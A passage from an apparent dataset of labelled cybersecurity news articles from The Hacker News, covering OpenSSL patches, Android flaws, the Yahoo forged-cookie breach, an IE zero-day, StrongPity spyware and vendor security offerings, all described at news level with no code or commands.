What's your take? Let me write it down for you again—go and install the latest available update of Signal Private Messenger app from Google Play Store and make sure you always run up-to-date apps on your Android and iOS devices.

",Vulnerability
OpenSSL to Patch High Severity Vulnerability this Week,https://thehackernews.com/2015/03/openssl-vulnerabilities-patch.html,"The OpenSSL Foundation is set to release a handful of patches for undisclosed security vulnerabilities in its widely used open source software later this week, including one that has been rated ""high"" severity.

In a mailing list note published last night, Matt Caswell of the OpenSSL Project Team announced that OpenSSL versions 1.0.2a, 1.0.1m, 1.0.0r, and 0.9.8zf will be released Thursday.
""These releases will be made available on 19th March,"" Caswell wrote. ""They will fix a number of security defects. The highest severity defect fixed by these releases is classified as ""high"" severity.""
OpenSSL is an open-source implementation of the SSL and TLS protocols. It's a technology that's widely used by almost every websites to encrypt web sessions, even the Apache web server that powers almost half of the websites over the Internet utilizes OpenSSL.

Further details on the mystery security vulnerabilities (CVE-2015-0209, CVE-2015-0285, CVE-2015-0288) are unavailable at this time, although some industry experts have speculated that this high severity flaw could be another POODLE or Heartbleed bug, worst TLS/SSL flaws that are still believed to be affecting websites on Internet today.

Heartbleed was discovered in April last year in an earlier version of OpenSSL, which allowed hackers to read the sensitive contents of users' encrypted data, such as credit card transactions and even steal SSL keys from Internet servers or client software.

Also, in June the same year a serious Man-in-the-Middle (MITM) vulnerability was discovered and fixed by the OpenSSL Project Team. However, the vulnerability wasn't quite as severe as the Heartbleed flaw, but it's serious enough to decrypt, read or manipulate the encrypted data, particularly affecting Android users.

Months later, another critical flaw, POODLE -- Padding Oracle On Downgraded Legacy Encryption -- was discovered in the decade old but widely used Secure Sockets Layer (SSL) 3.0 cryptographic protocol that could allowed hackers to decrypt the contents of encrypted connections to websites.

More recently, a new flaw, dubbed FREAK -- Factoring Attack on RSA-EXPORT Keys -- discovered that allowed an attacker to force SSL clients including OpenSSL, to downgrade to weaken ciphers that can be easily broken, potentially allowing them to eavesdrop on encrypted networks by conducting Man-in-the-Middle attacks.

Almost every big brand was affected by the dangerous FREAK flaw, including Apple and Android smartphone devices, BlackBerry devices and cloud services, as well as every version of Windows operating system.

So, OpenSSL is an important software project and is ranked first under the Linux Foundation's Core Infrastructure Initiative given its widespread use and lack of in-depth security review.

Major companies, including Google, Facebook, and Cisco, are funding the Internet's ""Core Infrastructure Initiative,"" a US$2 Million-a-year project dedicated to supporting and auditing open-source projects.

",Vulnerability
Facebook app spreading Android Malwares,https://thehackernews.com/2012/02/facebook-app-spreading-android-malwares.html,"Facebook app spreading Android Malwares

Even though Google recently introduced a malware-blocking system called Bouncer to keep the Android Market safe from malicious software, crafty spammers and fraudsters are still managing to find ways around the restrictions to get their software onto users' phones.

Security firm, Sophos have reported that there is malware going around via the Facebook application. The malicious software disguises itself as an Android app named ""any_name.apk"" or ""allnew.apk"" and is sent to Android phones via Facebook's mobile app.

An Android user may receive a Facebook friend request and if the user goes to the requester's profile to check them out, they could be diverted to another web page instead, where the malicious app will be automatically downloaded.

Although Android doesn't by default allow apps to be automatically downloaded, some users choose to turn off this protection in order to have access to apps distributed outside of the Android Market. This kind of malware is similar to clickjacking, which takes place very often on Facebook.

Bouncer is a good first step towards protecting Android users, but regardless of what methods are used to lock down the Android Market, spammers and scammers can always find another way in.

",Vulnerability
Yahoo Hacked Once Again! Quietly Warns Affected Users About New Attack,https://thehackernews.com/2017/02/yahoo-hack.html,"Has Yahoo rebuilt your trust again?

If yes, then you need to think once again, as the company is warning its users of another hack.

Last year, Yahoo admitted two of the largest data breaches on record. One of which that took place in 2013 disclosed personal details associated with more than 1 Billion Yahoo user accounts.

Well, it's happened yet again.

Yahoo sent out another round of notifications to its users on Wednesday, warning that their accounts may have been compromised as recently as last year after an ongoing investigation turned up evidence that hackers used forged cookies to log accounts without passwords.

The company quietly revealed the data breach in security update in December 2016, but the news was largely overlooked, as the statement from Yahoo provided information on a separate data breach that occurred in August 2013 involving more than 1 billion accounts.

The warning message sent Wednesday to some Yahoo users read:
""Based on the ongoing investigation, we believe a forged cookie may have been used in 2015 or 2016 to access your account.""
The total number of customers affected by this attack is still unknown, though the company has confirmed that the accounts were affected by a security flaw in Yahoo's mail service.

The flaw allowed ""state-sponsored attackers"" to use a ""forged cookie"" created by software stolen from within the company's internal systems to gain access to Yahoo accounts without passwords.

""Forged cookies"" are digital keys that allow access to accounts without re-entering passwords.

Here's how the attack works:

Instead of stealing passwords, hackers trick a web browser into telling the company that the victim had already logged in by forging little web browser tokens called cookies.

You use cookies every time you log into any service and check that box that says ""keep me logged in,"" or, ""remember me.""

So, even if you close the window, or shutdown your system, you will not have to log back into your account because the cookie stored by your browser tells the online service that you already submitted your username and password.

Here's what a Yahoo spokesperson said about the recently disclosed breach:
""As we have previously disclosed, our outside forensic experts have been investigating the creation of forged cookies that could have enabled an intruder to access our users' accounts without a password.""
""The investigation has identified user accounts for which we believe forged cookies were taken or used. Yahoo is in the process of notifying all potentially affected account holders.""
The warning notification has been sent out to almost all affected Yahoo users, although investigations are still ongoing.

The notice sent to Yahoo's customers on Wednesday, the same day it was reported that Verizon is slashing the price the telecom service will pay for Yahoo by at least $250 Million, following revelations of two security breaches last year, according to a report by Bloomberg.

The price cut appears to indicate the troubled deal will go through.

With yet another disclosed security breach, one might think about closing online accounts associated with Yahoo.

",Data_Breaches
Security Firm Reveals Flaw in Dirt Jumper Bot,https://thehackernews.com/2012/08/security-firm-reveals-flaw-in-dirt.html,"A team of researchers has discovered a weakness in the command-and-control infrastructure of one of the major DDoS toolkits, Dirt Jumper, that enables them to stop attacks that are in progress.

The command and control (C&C) servers of the Dirt Jumper DDoS toolkit can be compromised and, in principle, completely taken over via SQL injection holes.

SQL injection involves inserting database instructions in unexpected and unprotected places, effectively taking charge of a web application's database from the outside. According to the Prolexic report, the open source penetration testing tool sqlmap can be used to dump the contents of Dirt Jumper's database configuration file in a matter of seconds, revealing administrative usernames and passwords.

The company's research includes Dirt Jumper v.3, Pandora and Di BoT. According to Prolexic, the Dirt Jumper family of DDoS botnet kits was originally authored by an individual who uses the handle 'sokol.' Various versions of Dirt Jumper were sold privately and leaked to the public.

""DDoS attackers take pride in finding and exploiting weaknesses in the architecture and code of their targets. With this vulnerability report, we've turned the tables and exposed crucial weaknesses in their own tools,"" said Prolexic's CEO, Scott Hammack.

Pandora can be used to launch five different attack types, including a combination of techniques against the web application and infrastructure layers of targeted websites. Dirt Jumper seems to have overtaken rivals to become one of the most successful DDoS toolkits available on the Russian underground.

""Construction of a new variant of Dirt Jumper is relatively easy, only requiring basic knowledge of Delphi, a basic understanding of PHP and MySQL, and U.S. $5,000 to purchase the Dirt Jumper builder source code"".

",Malware
New Android Vulnerability Could Crash your Phones Badly,https://thehackernews.com/2015/07/android-vulnerability-crash.html,"Bad week for Android. Just days after a critical Stagefright vulnerability was revealed in the widely popular mobile platform, another new vulnerability threatens to make most Android devices unresponsive and practically unusable to essential tasks.

Security researchers at Trend Micro have developed an attack technique that could ultimately crash more than 55 percent of Android phones, almost making them completely unresponsive and useless to perform very basic functions, including to make or receive calls.

The dangerous security flaw affects any device running Android 4.3 Jelly Bean and later, including the latest Android 5.1.1 Lollipop, potentially putting hundreds of millions of Android users vulnerable to hackers.

The flaw surfaced two days after Zimperium researchers warned that nearly 950 Million Android phones can be hijacked by sending a simple text message. Dubbed Stagefright, the vulnerability is more serious because it required no end-user interaction at all to be exploited.

How to Exploit the Flaw?

A hacker can exploit the vulnerability in two ways:
Through a Malicious Android App
Through a Specially-Crafted Web Site
Most easy way to exploit the flaw is to lure a vulnerable Android phone to a booby-trapped website. Presumably, in this case, the phone can be revived by just restarting it.

However, the vulnerability if exploited by a malicious app can cause a long-term impact on the phone, according to a blog post published Wednesday by a researcher from security firm Trend Micro.
The malicious app can be designed in such a way that every time the phone is turned on, the app automatically start, causing the operating system to crash shortly after each restart.

This makes the device unresponsive, mute and useless, meaning no ringtone, message tone, or notification sounds will be heard. Neither the user can even receive or make calls.

Root Cause of the Vulnerability

The vulnerability actually resides in the mediaserver service used by Android to index media files located on the Android phone.
""[mediaserver] service cannot correctly process a malformed video file using the Matroska container (usually with the .mkv extension),"" Trend Micro researcher Wish Wu wrote. ""When the process opens a malformed MKV file, the service may crash (and with it, the rest of the operating system).""
Researchers have also developed a proof-of-concept (PoC) malicious app that exploits the flaw. You can watch the given video that shows the exploit in work.

Security researchers reported the vulnerability to Google's security team in late May, but the team failed to patch the issue after classifying it as a low-level vulnerability.

",Vulnerability
Internet Explorer zero-day vulnerability actively being exploited in the wild,https://thehackernews.com/2013/11/internet-explorer-zero-day-vulnerability-watering-hole-attack.html,"Security researchers at FireEye have detected a new series of drive-by attacks based on a new Internet Explorer zero-day vulnerability. The attackers breached a website based in the US to deploy the exploit code to conduct a classic watering hole attack.

The discovery was announced just a few days after Microsoft revealed the Microsoft Zero-day CVE-2013-3906, a Zero-day vulnerability in Microsoft graphics component that is actively exploited in targeted attacks using crafted Word documents sent by email.

Microsoft graphics component zero-day vulnerability allows attackers to install a malware via infected Word documents and target Microsoft Office users running on Windows Vista and Windows Server 2008.

Recently reported new Internet Explorer zero-day vulnerability detected by FireEye affects the English versions of IE 7 and 8 in Windows XP and IE 8 on Windows 7, but according the experts it can be easily changed to leverage other languages.

Experts at FireEye confirmed that the exploit recently detected leverages a new information leakage vulnerability and an IE out-of-bounds memory access vulnerability to achieve code execution, that attackers use the timestamp from the PE headers ofmsvcrt.dll to select the proper exploit.

""The information leak uses a very interesting vulnerability to retrieve the timestamp from the PE headers of msvcrt.dll. The timestamp is sent back to the attacker's server to choose the exploit with an ROP chain specific to that version of msvcrt.dll."" explained the researcher Xiaobo Chen and Dan Caselden in the post published by FireEye.

The analysis conducted by the research team at FireEye revealed this IE zero-day affects IE 7, 8, 9 and 10, and as happened for the Microsoft Zero-day CVE-2013-3906 , it can be mitigated by EMET per Microsoft's feedback.

Very interesting the shellcode, the exploit implements a multi-stage shellcode payload that upon successful exploitation, it will launch rundll32.exe (with CreateProcess), and inject and execute its second stage (with OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread). The second stage downloads an executable and run it from disk.
FireEye experts announced the collaboration with the Microsoft Security team on research activities and the ongoing investigation, the post published has the intent to alert IT community on malicious activities.

FireEye, as confirmed by the post title, believes that the IE zero-day exploit could be used for Watering Hole Attack with specific intent to hit groups of individuals of specific interest for the attackers.

""As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations,"" said the company. The hackers are also employing novel methods to frustrate forensic investigation techniques.

Let me add that a similar attack could be classifiable in one the following categories:
State-sponsored attacks that limited the audience to hit to remain under coverage. State sponsored attacks could be linked to government units or to group of cyber mercenaries, like the case of Icefog team discovered by Kaspersky Lab team.
Malware based attacks that are conducted by cyber criminal for testing purpose. The malicious code is hosted on breached website visited by a limited portion of Internet users, in this way they retrieve important information to improve the malicious agent avoiding to be detected by security firms.
I cannot be more precise without having information on the nature of the targeted website and the complexity of source code used by the attackers.

",Vulnerability
OpenSSL Releases Patches for 2 High-Severity Security Vulnerabilities,https://thehackernews.com/2021/03/openssl-releases-patches-for-2-high.html,"The maintainers of OpenSSL have released a fix for two high-severity security flaws in its software that could be exploited to carry out denial-of-service (DoS) attacks and bypass certificate verification.
Tracked as CVE-2021-3449 and CVE-2021-3450, both the vulnerabilities have been resolved in an update (version OpenSSL 1.1.1k) released on Thursday. While CVE-2021-3449 affects all OpenSSL 1.1.1 versions, CVE-2021-3450 impacts OpenSSL versions 1.1.1h and newer.
OpenSSL is a software library consisting of cryptographic functions that implement the Transport Layer Security protocol with the goal of securing communications sent over a computer network.
According to an advisory published by OpenSSL, CVE-2021-3449 concerns a potential DoS vulnerability arising due to NULL pointer dereferencing that can cause an OpenSSL TLS server to crash if in the course of renegotiation the client transmits a malicious ""ClientHello"" message during the handshake between the server and a user. The issue was introduced as part of changes dating back to January 2018.
""If a TLSv1.2 renegotiation ClientHello omits the signature_algorithms extension (where it was present in the initial ClientHello), but includes a signature_algorithms_cert extension then a NULL pointer dereference will result, leading to a crash and a denial of service attack,"" the advisory said.
Nokia, which has been credited with reporting the flaw on March 17, fixed the DoS bug with a one-line code change.
CVE-2021-3450, on the other hand, relates to an X509_V_FLAG_X509_STRICT flag that enables additional security checks of certificates present in a certificate chain. While this flag is not set by default, an error in the implementation meant that OpenSSL failed to check that ""non-CA certificates must not be able to issue other certificates,"" resulting in a certificate bypass.
As a result, the flaw prevented apps from rejecting TLS certificates that aren't digitally signed by a browser-trusted certificate authority (CA).
""In order to be affected, an application must explicitly set the X509_V_FLAG_X509_STRICT verification flag and either not set a purpose for the certificate verification or, in the case of TLS client or server applications, override the default purpose,"" OpenSSL said.
Benjamin Kaduk from Akamai is said to have reported the issue to the project maintainers on March 18. The vulnerability was discovered by Xiang Ding and others at Akamai, with a fix put in place by former Red Hat principal software engineer and OpenSSL developer Tomáš Mráz.
Although neither of the issues affect OpenSSL 1.0.2, it's also worth noting that the version has been out of support since January 1, 2020, and is no longer receiving updates. Applications that rely on a vulnerable version of OpenSSL are advised to apply the patches to mitigate the risk associated with the flaws.

",Vulnerability
How CISOs Should Prepare for Coronavirus Related Cybersecurity Threats,https://thehackernews.com/2020/03/coronavirus-cybersecurity-ciso.html,"The Coronavirus is hitting hard on the world's economy, creating a high volume of uncertainty within organizations.

Cybersecurity firm Cynet today revealed new data, showing that the Coronavirus now has a significant impact on information security and that the crisis is actively exploited by threat actors.

In light of these insights, Cynet has also shared a few ways to best prepare for the Coronavirus derived threat landscape and provides a solution (learn more here) to protect employees that are working from home with their personal computers because of the Coronavirus.

The researchers identify two main trends – attacks that aim to steal remote user credentials and weaponized email attacks:

Remote User Credential Theft

The direct impact of the Coronavirus is a comprehensive quarantine policy that compels multiple organizations to allow their workforce to work from home to maintain business continuity.

This inevitably entails shifting a significant portion of the workload to be carried out remotely, introducing an exploitable opportunity for attackers.

The opportunity attackers see the mass use of remote login credentials to organizational resources that far exceed the norm. As a result, remote connections are established by employees and devices that have never done so before, meaning that an attacker could easily conceal a malicious login without being detected by the target organization's security team.

Cynet's global threat telemetry from the recent three weeks reveals that Italy features a sharp spike in phishing attacks in comparison to other territories, indicating that attackers are hunting in full force for user credentials.

In addition, the researchers also detect a respective spike both in detected anomalous logins to its customers' environments, as well as in customers actively reaching out to CyOps (Cynet MDR) to investigate suspicious logins to critical resources.

Correlating the two spikes validates that attackers are actively exploiting the Coronavirus derived havoc.

Weaponized Email Attacks

Employees that work from home often would do so from their personal computers, which are significantly less secure than the organizational ones, making them more vulnerable to malware attacks.

Besides, Cynet released today's figures that support the above claim. Here is the double spike Cynet sees within its customers from Italy of email-based attacks:

A closer look at the attacks reveals that they possess a considerable threat to organizations that do not have advanced protection in place:

While 21% of these emails featured simplistic attacks with a link to download a malicious executable embedded in the email body, the vast majority included more advanced capabilities such as malicious Macros and exploits or redirection to malicious websites – a challenge that surpasses the capabilities of most AV and email protection solutions.

Taking a closer look at how these attacks were blocked verifies that they should be regarded as a severe risk potential:

'The fact that only about 10% of the malware in these attacks was identified by its signature, indicates that the attackers behind these campaigns are using advanced attacking tools to take advantage of the situation', says Eyal Gruner, CEO, and Co-Founder of Cynet.

Moreover, there is another aspect to the Coronavirus impact. In many cases, the functioning of the security team itself is impaired due to missing team members in quarantine, making the detection of malicious activity even harder.

From conversations with these companies, it turns out that the operations of many security teams are significantly disturbed due to quarantined team members, causing them to use Cynet's MDR service more often to compensate for the lack of staff.

'We have reached out to our customers in Italy ', says Gruner, 'and they have confirmed that a significant part of their workforce works from home these days.'

To sum up the situation in Italy, employees working from home, security teams that are not fully operational and general atmosphere of uncertainty, create ideal conditions for attackers that seek to monetize the new situation through phishing, social engineering, and weaponized emails.

The data from Cynet's Italian install base should serve as an illustrative example of the cyber effect in a territory where Coronavirus has a high prevalence. While this is not yet the case for other countries, the rapid Coronavirus spread implies that the cyber threat landscape in Italy would soon be duplicated in other geolocations as well.

In order to efficiently confront these threats, CISOs should evaluate the defenses they have in place and see whether they provide protection against phishing and malicious logins.

As a breach protection platform, Cynet introduces a dedicated offering tailored to the new Coronavirus related cyber risks.

For both existing and new customers, Cynet will allow, free of charge (for 6 months), the deployment of its product, Cynet 360, on personal computers used by employees working from home.

Cynet massively adds staff to CyOps, its MDR services team, to be able to cover for companies with reduced security staff because of the Coronavirus.

Learn more about Cynet's offering here.

",Data_Breaches
Bafruz trojan vs Microsoft : Malicious Software Removal Tool Updated,https://thehackernews.com/2012/08/bafruz-trojan-vs-microsoft-malicious.html,"There's a new family of malware that's using a complex set of capabilities to disable antimalware and listen in on sessions between users and some social networks. Bafruz is essentially a backdoor trojan that also is creating a peer-to-peer network of infected computers.

Microsoft has announced that its Microsoft Malicious Software Removal Tool has recently been modified to detect two new malware families, Matsnu and Bafruz.

The payload seems to start by terminating a long list of security processes listed in its code. It then displays a fake system alert that looks like that of any standard rogue AV attack.

The device actually restarts in Safe Mode. Here, the malware can disable all the security products more easily, allowing it to perform its other tasks without being interrupted.

""This may lead the user into believing all is well with their security product, while in the meantime, Bafruz is downloading additional components and malware onto the computer in the background through its P2P network,"" Microsoft.

Microsoft has now added Bafruz to the list of threats detected by its Malicious Software Removal Tool.The update came Tuesday, along with nine patches for 26 security vulnerabilities.

",Malware
"Russian Government Offers $111,000 For Cracking Tor Anonymity Network",https://thehackernews.com/2014/07/russian-cracking-tor-anonymity-network.html,"The Russian government is offering almost 4 million ruble which is approximately equal to $111,000 to the one who can devise a reliable technology to decrypt data sent over the Tor, an encrypted anonymizing network used by online users in order to hide their activities from law enforcement, government censors, and others.

The Russian Ministry of Internal Affairs (MVD) issued a notice on its official procurement website, originally posted on July 11, under the title ""шифр «ТОР (Флот)»"" ;which translates as ""cipher 'TOR' (Navy)"" an open call for Tor-cracking proposals whose winner will be chosen by August 20.

The MIA specifically wants researchers to ""study the possibility of obtaining technical information about users and users' equipment on the Tor anonymous network,"" according to a translated version of the Russian government's proposal.

Only Russian nationals and companies are allowed to take part in the competition ""in order to ensure the country's defense and security."" The participants require to pay a 195,000 ruble (about $5,555) application fee in order to participate in the competition.

Tor, which was actually invented at the U.S. Navy, anonymizes the identity of an online user by encrypting their data and sending it through a unique configuration of nodes known as an onion routing system – making it difficult to trace.

Now in the hands of a nonprofit group, the project continues to receive millions of dollars in funding from the U.S. government every year, but boasts approximately 4 million users worldwide, among them many tech-savvy digital activists in countries where technical censorship and surveillance are prevalent.

Tor has encountered problems in Russia before. Nonetheless, the MVD had previously sought to ban the use of any anonymizing software, though the proposal was dropped last year.

SERIOUS THREAT FOR ACTIVISTS AND WHISTLEBLOWERS
Anonymity, which is of everybody's interest, specially of activists, journalists, researchers, whistleblowers, who uses Tor anonymity service to hide their activities, are now under great threat from both sides.

In my opinion, announcing a million dollar competition doesn't provide any government full authority to hack the widely used anonymity network. Such move has put both, Russian and U.S Governments in the same category.

Tor has been the constant target of government intelligence agencies and other entities seeking to unveil the identities of anonymous Internet users. Even the U.S. government intelligence agency NSA and U.K. intelligence GCHQ made multiple attempts and spend significant resources to target users of Tor and to break Tor program's anonymity as revealed by Global surveillance whistleblower Edward Snowden last year.

Last year, it was revealed that a zero-day vulnerability in Firefox was used to unmask users of the privacy-protecting ""hidden services"" Tor, which was estimated to be an effort of the FBI in order to crack down on Freedom Host, a Tor server provider, as part of a child pornography case.

A talk at the upcoming Black Hat security conference in August entitled 'You don't have to be the NSA to Break Tor: De-Anonymizing Users on a Budget,' by the researchers from Carnegie Mellon University was abruptly pulled earlier this week, because the materials they would discuss have not been approved for public release by the university or the Software Engineering Institute (SEI).

Just few days ago, Exodus Intelligence reported that its researchers had found a critical zero-day security vulnerability in the privacy and security dedicated Linux-based TAILS, an operating system designed to be booted from a CD or USB stick that uses Tor and other services to hide the identity of the users and leave no trace of their activities on their computer machines. While, the developers with the Tor Project said that they are working on the issues to fix the weakness as soon as possible.

",Vulnerability
When Time is of the Essence – Testing Controls Against the Latest Threats Faster,https://thehackernews.com/2019/06/breach-attack-simulation.html,"A new threat has hit head the headlines (Robinhood anyone?), and you need to know if you're protected right now. What do you do?

Traditionally, you would have to go with one of the options below.

Option 1 – Manually check that IoCs have been updated across your security controls.

This would require checking that security controls such as your email gateway, web gateway, and endpoint security have all been updated with the latest threats' indicators of compromise (IoCs) usually published by AV companies who detect the malware binaries first.

Option 2 – Create a 'carbon copy' of your network and run the threat's binary on that copy.

While safe, IT and security teams may be unaware of certain variations from the real deal. So while the attack simulation is running against an 'ideal' copy, your real network may have undergone inadvertent changes, such as a firewall running in monitoring mode, a patch not being installed on time, and other unintentional variations. The resulting mirror image has inadvertently become a 'filtered' one.

Option 3 – Build a homegrown simulation.

While effective, developing your own malware simulation is a time- and resource-intensive effort that usually requires a dedicated threats or vulnerability assessment team.

Moreover, even if you have the resources, the turnaround time for getting a live and safe simulation to work may not be ideal.

Option 4 – Run an automated simulation of the threat in your production environment.

What if you could challenge your controls with a threat on the day that it hits the headlines? This is where automated security effectiveness testing can help.

By running simulations of the latest cyber attacks against the controls required to detect them correctly, you can make sure your current security arsenal is catching risky IoCs, and close any gaps faster.

Testing Security Control Effectiveness Faster

Using a dedicated golden image of a standard workstation (or server), attack simulations can be run continually on a designated system in a production network. This way, a real user's data is not jeopardized, while enabling you to check the latest threat's ability to bypass your security controls.

By running ongoing or daily simulations of the newest menaces across your network, you can determine if your controls are catching IoCs such as command & control (C2) URLs and malicious file hashes.
Immediate Threats Available for Simulation After Their Discovery [click the image to view full size]

Real vs. Simulated Cyber Attacks – What's the Difference?

So what is the difference between a real attack and a simulated one? First and foremost, simulations usually run on a dedicated system to avoid compromising a real user's system.

For C2 communications, a simulation will attempt to establish a connection over HTTP/S, with an agent installed on the endpoint serving as a proxy to block any malicious requests sent and dropping the connection at the end of the test.

When testing endpoint security controls, rather than executing a real payload, one simulation technique involves dropping a malware sample to see if security controls can detect and remove it.

To test the effectiveness of an email gateway, a simulated attack will send emails with weaponized attachments that contain different malicious behaviors but are harmless to the target system. An agent sitting on top of the email client handles incoming emails and deletes them immediately thereafter.

Immediate Insights Against Immediate Threats

What kind of insights can simulations uncover? Challenging email security controls can reveal whether your email gateway is blocking multi-layer nested files, whether a policy is set up to filter out spoofed email addresses or rarely-used file formats, or whether archive files (e.g., ZIP) are scanned to prevent executables from landing in a user's mailbox.

To prevent drive-by-downloads, it may alert that your web gateway is not blocking downloads associated with the newest threat's URLs. And vis-à-vis endpoint security, you may learn that your current solution is failing to block or detect dropped payloads on disk.
Immediate Threats Simulation Results – Blocked or Penetrated [click the image to view full size]

Ready to test the effectiveness of your security controls against the very latest threats?

Get started here, or learn more about SaaS-based breach and attack simulation.

",Cyber_Attack
"I hack, reflection on the role of hacker",https://thehackernews.com/2013/01/i-hack-reflection-on-role-of-hacker.html,"The role of hacker is recognized as crucial today in cyber security, these specialists are the nightmare of security experts but their knowledge is fundamental to understand the vulnerabilities of our infrastructures … think like a hacker if you want really protect your system.

But hacking is a culture, a way of life that is hard to match ago with the business logic, true hackers don't do this for money, money are fundamental but not all, the must for them is always to put into question their capabilities, try to consistently exceed their limits.

Fortunately industry, private business and governments have understood it and have re-evaluated the importance of hackers, these specialists were once seen as shady individuals to avoid, today they are highly sought professionals in both private business and government sectors.


Discover vulnerabilities before attackers could exploit them is essential, millions of people and devices are connected to the network, a unique opportunity for groups of cyber criminals and state sponsored hackers, who control the global network will control the world.

Hackers are professionals that spend their time trying to discover vulnerabilities to exploit in any architecture, their work has a great commercial value, the results of their effort, the exploit of vulnerabilities is a precious commodity for intelligence agencies and private companies, their knowledge in fact could open the door to richest businesses.

Every day we read about cyber attacks, every day we read of government initiatives to protect infrastructures recruiting hacker as consultants. Recently Japan's National Police Agency has started a program to promote knowledge exchange with ethical hackers on principal attack techniques adopted by cyber criminal organizations with the intent to acquire more information on such crimes.

The authorities fear the spread of malicious agents designed to remotely control victims according The Japan Times, the police desires to a gather information on the cyber threat and to plan an awareness campaign on the population to avoid an attack on large scale that could have serious consequences.

Japanese government is very attentive on the topic, defense ministry announced to set up cyber defense unit by 2013, Japan is one of the countries most affected by cyber attacks in particular by cyber espionage campaign that hit its industrial and research sectors.

Other opening signal comes from the U.S. Government, which for years has launched a recruiting campaign for hire in his masks the valuable professionals and their knowledge. Recently the U.S. government has announced the creation of the National Day of Civic Hacking, scheduled for the next 1 and 2 June, an event open to all cyber experts who want to make a contribution to improve the electronic systems of the country.

The official announcement states:
""Civic Hacking Day is an opportunity for software developers, technologists, and entrepreneurs to unleash their can-do American spirit by collaboratively harnessing publicly-released data and code to create innovative solutions for problems that affect Americans. While civic hacking communities have long worked to improve our country and the world, this summer will mark the first time local developers from across the Nation unite around the shared mission of addressing and solving challenges relevant to OUR blocks, OUR neighborhoods, OUR cities, OUR states, and OUR country.""

Similar initiatives are fundamental for US and its cyber strategy, they have dual scope, make awareness on cyber security issue and try to involve citizens in the development of solutions and promoting of ideas to protect the country and its assets from attacks coming from the cyberspace … that is an excellent example for promoting a positive hacking culture.

Many other governments are improving their cyber capabilities recruiting hackers unfortunately, in many cases, the main purpose is the offense, create new instruments to penetrate the opposing networks.

China, Russia, Iran, North Korea, Israel and the same U.S. are the countries that major investing in the creation of new cyber units composed by hackers involving them in offensive cyber operations and cyber espionage campaigns.

Another dangerous phenomenon is the born of group of cyber mercenaries, skilled hackers that work for governments, but principally for cyber criminal organizations, providing hacking services such as targeted cyber attacks or development of specifically crafted malware. Recruit hackers is not so hard, it is possible to do it on various underground forums or in the Deep Web, this professionals and related cost are very cheap in majority of cases.

The question raise a fundamental question, which are the limit of ethical hacking? When an hacker discover a vulnerability which is the correct and ethical behavior to assume?

The monetization of their researches and the incredible and uncontrolled request of hacking services has thrown the hacking world into anarchy attracting dangerous forces like the cybercrime and governments.

In this chaotic moment governments and private businesses have no choice, they must play the same game being informed on the principal cyber attacks techniques, the knowledge is necessary to preserve the assets in the cyber space. Cyber security must be at first place in government strategy as in the private company policies, the figure of the hacker must be considered essential for the evaluation of security level of any infrastructure but this is not enough in my opinion, the introduction of hacker in business context, but also in government environment must be regulated by strict rules, that is the very challenge.

",Cyber_Attack
NeXpose 5.0 vulnerability management solution Released by Rapid7,https://thehackernews.com/2011/09/nexpose-50-vulnerability-management.html,"NeXpose 5.0 vulnerability management solution Released by Rapid7
Nexpose proactively supports the entire vulnerability management lifecycle, including discovery, detection, verification, risk classification, impact analysis, reporting and mitigation. This gives organizations immediate insight into the security posture of their IT environment by conducting over 65,000 vulnerability checks for more than 16,000 vulnerabilities. The solution leverages one of the largest vulnerabilities databases to identify vulnerabilities across networks, operating systems, databases, Web applications and virtual assets. Risk is classified based on real exploit intelligence combined with industry standard metrics such as CVSS, as well as temporal and weighted risk scoring. Nexpose provides a detailed, sequenced remediation roadmap with time estimates for each task. Nexpose is used to help organizations improve their overall risk posture and security readiness as well as to comply with mandatory regulations, including security requirements for PCI, HIPAA, ARRA HITECH ACT, FISMA (including SCAP Compliance), Sarbanes-Oxley (SOX) and NERC CIP. Nexpose 5.0, will address the complex security challenges presented by the wide scale adoption of virtualization technologies and the rapid increase of malware. For the first time, organizations will be able to ensure that their virtual environments do not represent potential hidden security threats.

Nexpose 5.0 will augment this intelligence with the introduction of its patent-pending Real Risk™ technology that leverages Rapid7' Malware Exposure, identifying which vulnerabilities are currently exploited by malware, and making the risk scores used for prioritized remediation even more meaningful and contextual to security teams.

Rapid7 is proactively addressing this emerging threat with Nexpose 5.0: the first vulnerability management solution to offer organizations patent-pending vScan technology, which enables continuous discovery of virtual machines in their dynamic environments, ensuring they are included in scanning, prioritzation and remediation efforts. Virtualization management metadata is used to discover and track assets in their virtualized infrastructure, giving defenders an up-to-date and accurate view of real risk across their entire physical and virtualized infrastructures. Changes to the status of virtual machines are updated automatically as they are migrated to new hosts or switched on and off. Once discovered, these assets can be classified by the specific factors that are important to security and operational professionals and Nexpose will dynamically update users if any of those key factors change in the assets so they can be appropriately re-classified. These capabilities for virtualization management will initially be available for VMware vCenter™ Server.

Read More here

",Malware
Advanced StrongPity Hackers Target Syria and Turkey with Retooled Spyware,https://thehackernews.com/2020/06/strongpity-syria-turkey-hackers.html,"Cybersecurity researchers today uncovered new details of watering hole attacks against the Kurdish community in Syria and Turkey for surveillance and intelligence exfiltration purposes.

The advanced persistent threat behind the operation, called StrongPity, has retooled with new tactics to control compromised machines, cybersecurity firm Bitdefender said in a report shared with The Hacker News.

""Using watering hole tactics to selectively infect victims and deploying a three-tier C&C infrastructure to thwart forensic investigations, the APT group leveraged Trojanized popular tools, such as archivers, file recovery applications, remote connections applications, utilities, and even security software, to cover a wide range of options that targeted victims might be seeking,"" the researchers said.

With the timestamps of the analyzed malware samples used in the campaign coinciding with the Turkish offensive into north-eastern Syria (codenamed Operation Peace Spring) last October, Bitdefender said the attacks could have been politically motivated.

Using Tainted Installers to Drop Malware

StrongPity (or Promethium) was first publicly reported on in October 2016 after attacks against users in Belgium and Italy that used watering holes to deliver malicious versions of WinRAR and TrueCrypt file encryption software.

Since then, the APT has been linked to a 2018 operation that abused Türk Telekom's network to redirect hundreds of users in Turkey and Syria to malicious StrongPity versions of authentic software.


Thus when the targeted users attempt to download a legitimate application on the official website, a watering hole attack or an HTTP redirect is carried out to compromise the systems.

Last July, AT&T Alien Labs found evidence of a fresh spyware campaign that exploited trojanized versions of WinBox router management software and WinRAR file archiver to install StrongPity and communicate with the adversary infrastructure.

The new attack method identified by Bitdefender remains the same: target victims in Turkey and Syria using predefined IP list by leveraging tampered installers — including McAfee Security Scan Plus, Recuva, TeamViewer, WhatsApp, and Piriform's CCleaner — hosted on localized software aggregates and sharers.

